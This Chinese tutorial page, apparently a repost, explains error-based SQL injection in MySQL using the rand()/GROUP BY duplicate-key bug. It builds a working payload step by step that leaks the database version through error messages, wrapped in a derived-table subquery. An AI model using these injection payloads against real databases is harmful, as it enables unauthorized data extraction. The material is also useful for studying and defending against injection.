• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号

网站MYSQL数据库高级爆错注入原分析

原作者: [db:作者] 来自: [db:来源] 收藏 邀请
这里主要用了mysql的一个BUG :http://bugs.mysql.com/bug.php?id=8652
grouping on certain parts of the result from rand, causes a duplicate key error.

重现过程:
SQL Code复制内容到剪贴板
  1. use mysql;   
  2. create table r1 (a int); insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);   
  3. select left(rand(),3),a from r1 group by 1;   
  4. select left(rand(),3),a, count(*) from r1 group by 1;   
  5. select round(rand(1),1)  ,a, count(*) from r1 group by 1;  

于是便可以这样拿来爆错注入了。
 

复制代码
代码如下:

select count(*),concat((select version()),left(rand(),3))x from inform<span style="line-height:1.5;">ation_schema.tables group by x;</span>

尝试拿来实战
 

复制代码
代码如下:

select * from user where user='root' and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);

提示错误 选择的列应该为一个。那么。我们换一下


复制代码
代码如下:

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));<span style="font-family:'sans serif', tahoma, verdana, helvetica;font-size:12px;line-height:1.5;"></span>

 

复制代码
代码如下:

1248 (42000): Every derived table must have its own alias

提示多表查询要有别名 那好办
 

复制代码
代码如下:

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);

或者
 

复制代码
代码如下:

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);

成功爆粗注入了.

作者: 小残 绳命不息 |折腾不止


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
网站个人渗透技巧收集与总结发布时间:2022-02-06
下一篇:
详解如何通过“鼠洞”控制电脑发布时间:2022-02-06
热门推荐
热门话题
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap